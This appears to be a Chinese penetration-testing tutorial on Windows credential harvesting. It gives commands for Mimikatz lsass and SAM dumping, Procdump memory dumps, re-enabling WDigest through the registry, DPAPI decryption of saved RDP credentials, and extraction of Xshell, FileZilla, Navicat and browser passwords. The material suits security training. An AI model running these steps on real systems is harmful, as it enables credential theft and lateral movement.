在内网渗透中,在拿到某台机器的控制权后,会以被攻陷的主机作为跳板进行横向渗透,但是在横向渗透过程中很多攻击方式都需要获取到域内用户的密码或哈希值才能进行
windows中SAM文件是windows用户的账户数据库,位于%SYstemRoot%\System32\Config
,保存了用户名和密码哈希值
lsass.exe是windows的一个系统进程,用于实现系统的安全机制,主要用于本地安全和登录策略。通常情况下,用户输入密码登录后,登录的域名、用户名和登录的域名、用户名和登录凭据等信息会存储在lsass.exe的进程空间中,用户的明文密码进过WDigest和Tspkg模块调用后,会对其使用可逆的算法进行加密并存储在内存中
用来获取主机的用户密码和哈希值的工具有很多,大多数都是读取SAm文件或者访问lsass.exe进程的内存数据等操作实现的,但是会涉及到提权操作
下面使用Mimikatz来获取用户凭证
将mimikatz.exe上传到目标主机
用管理员权限打开mimikatz.exe
然后执行以下命令获取用户凭证
1 | privilege::debug #获取debug特权 |
除了在线读取,也可以直接将lsass.exe的进程内存转储,将内存文件导出到本地后,使用mimikatz进行离线读取
有多个转储进程内存的工具,如OutMinidump.ps1、Procdump、SharpDump等
下面使用微软官方的Procdump工具
先将工具上传到目标主机
要使用管理员权限,执行以下命令将lsass.exe的进程转储
1 | procdump64.exe -accepteula -ma lsass.exe lsass.dmp |
1 | -accepteula 命令行选项自动接受 Sysinternals 许可协议 |
然后使用mimikatz来导出用户凭证
1 | mimikatz.exe "sekurlsa::minidump lass.dmp" "sekurlsa::logonpasswords full" exit |
1 | sekurlsa::minidump lass.dmp #加载内存文件 |
注意,微软在2014奶奶5月发布了KB2871997补丁,关闭了WDigest功能,禁止从内存中获取明文,且在Windows Server 2012及以上版本默认关闭了WDigest功能。但是可以通过修改注册表来重新开启WDigest功能,用户注销或者重新登录后就能获取到用户的明文密码
1 | #开启WDigest |
开启后成功获取明文密码
还是利用mimikatz
1 | privilege::debug #提升至DebugPrivilege权限 |
读取Sam文件中保存的用户登录凭证,可以导出当前系统中所以本地用户的哈希值
离线读取就是先将SAM文件导出,在使用mimikatz加载并读取其中的用户凭据等。注意,为了提高SAM文件的安全性以防止离线破解,Windows会对SAM文件使用密钥进行加密,这个密钥存储在SYSTEM文件中,与SAM文件在同一个目录下
首先,导出SAM和SYSTEM文件。因为系统在运行时,这两个文件是被锁定的,所以需要借助一些工具来实现,而PowerSploit项目中提供的Invoke-NinjaCopy.ps1
脚本可以完成这项工作
要先将这个项目文件夹上传的目标主机,如果直接Import-Module PowerSploit
的话会报错xxx禁止执行脚本
,所以要先执行以下命令,然后再Import-Module PowerSploit
1 | set-ExecutionPolicy RemoteSigned |
然后执行命令
1 | Import-Module PowerSploit |
【还可以通过HiveNightmare提权漏洞(CVE-2021-36934)来读取SAM和SYSTEM】
也可以在管理器权限下执行以下命令,通过保存注册表的方式导出
1 | reg save HKLM\SAM sam.hive |
然后将导出的SAM和SYSTEM文件用mimikatz加载并读取SAM中的用户凭证
1 | lsadump::sam /sam:<导出的SAM文件> /system:<导出的SYSTEM文件> |
一些特定的应用程序可以存储面,以方便用户的管理和维护,入Xmanager、TeamViewer、FileZilla、NaviCat和各种浏览器等。通过对保存的用户凭证进行导出和解密,通常可以获取登录内网服务器和各种管理后台的账户密码,可以通过他们进行横向移动和访问受限资源
为了避免每次连接服务器都进行身份验证,经常使用RDP远程桌面连接远程服务器的用户可能勾选保存连接凭据,以便快速的身份验证。这些凭据都使用数据保护API以加密形式存储在Windows的凭据管理器中,路径为%USERPROFILE%\AppData\Local\Microsofg\Credentials
执行以下命令,可以查看当前主机上保存的所有连接凭据
1 | cmdkey /list #查看当前保存的凭据 |
凭据是加密的,可以使用Mimikatz导出指定的RDP连接凭据
1 | privilege::debug |
pbDate就是凭据的加密数据,guidMasterKey是该凭据的GUID,记录guidMasterKey的值
然后用mimikatz执行以下命令:
1 | privilege::debug |
找到与guidMasterKey相关联的MasterKey,就是加密凭据使用的密钥
记录这个值,最后执行以下命令,来破解凭据文件,得到RDP明文凭据
1 | dpapi::cred /in:%USERPROFILE%\AppData\Local\Microsoft\Credentials\9824FAA65DEB4F4601E970E6EB97754F /masterkey:16f7b6bceba157b229b69aa4b19c70284f91f95ad53fd9c94dc29bb4eeea0de64175689a3830e8023ce6e6e6f58f26929e5b995b2dcb50a3942f11d665e870cd |
得到明文凭据,这个也是那个主机的密码
Xhell是强大的终端模拟软件,指出ssh1,ssh2和Microsoft的TELNET协议,Xshell可以在windows下访问远端不同系统下的服务器
Xshell会将服务器连接信息保存在Session目录下的.xsh文件中,如果用户勾选了“记住用户名/密码”,该文件会保存远程服务器连接的用户名和经过加密后的密码
Xshell版本 | .xsh文件路径 |
---|---|
Xshell5 | %USERPROFILE%\Documents\NetSarang\Xshell\Session |
Xshell6 | %USERPROFILE%\Documents\NetSarang Computer\6\Xshell\Session |
Xshell7 | %USERPROFILE%\Documents\NetSarang Computer\7\Xshell\Session |
Xshell7前的版本,可以使用RowTeam/SharpDecryptPwd|uknowsec/SharpDecryptPwd工具进行解密,包括以下产品
1 | SharpDecryptPwd Navicat |
将这个上传到目标主机,执行命令,可以获取Xshell保存的所有连接凭据
1 | SharpDecryptPwd.exe -Xmanagager -p "%USERPROFILE%\Documents\NetSarang\Xshell\Session" |
Xshell7后的版本,Sesssion目录中不载存储用户密码,用上述方法获取的密码为一串乱码,只能使用星号密码查看器直接查看密码
Fielzilla是一个FTP客户端软件,会将FTP登录凭据以BASE64密文的格式保存在%USERPROFILE%\Roaming\FileZilla\recentservers.xml
中
可以直接看,也可以用
1 | SharpDecryptPwd.exe -FileZilla |
NaviCat是一个强大的数据库管理和设计工具
当用户连接数据库时,需要填写相关信息,如IP、用户名、密码等,用户选择保存密码(默认勾选)后,NaviCat会将这些信息保存到注册表中
数据库类型 | 凭据存储路径 |
---|---|
MySQL | HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\ |
MariaDB | HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers\ |
MicrosoftSQL | HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers\ |
Oracle | HKEY_CURRENT_USER\Software\PremiumSoft\NavicatOra\Servers\ |
PostgreSQL | HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers\ |
SQLite | HKEY_CURRENT_USER\Software\PremiumSoft\NavicatSQLite\Servers\ |
Navicat<=11 密码的键为”pwd”
Navicat>=12 密码的键为”Password”
使用以下命令可以导出当前主机上用户连接过的所以数据库的登录凭据
1 | SharpDecryptPwd.exe -NavicatCrypto |
Web浏览器通常会保存网站用户名和密码等凭据,以避免多次手动输入。且以加密格式存储在本地文件中,可以通过读取特定的文件,从Web浏览器获取凭据
HackBrowserData是一个浏览器数据(密码|历史记录|Cookie|书签|信用卡|下载记录|localStorage|浏览器插件)的导出工具,支持全平台主流浏览器。
只需要将这个文件上传到目标主机,然后直接运行即可
可以得到被解密后的账户密码信息
WinSCP是Windows环境下使用的SSH的开源图形化FTP工具客户端,在使用SFTP连接时,如果勾选了保存密码,WinSCP就会将密码保存在WinSCP.ini
文件下
Winscppasswd工具可以解密
winscppasswd这个则是通过被加密的密码进行解密,需要知道host和username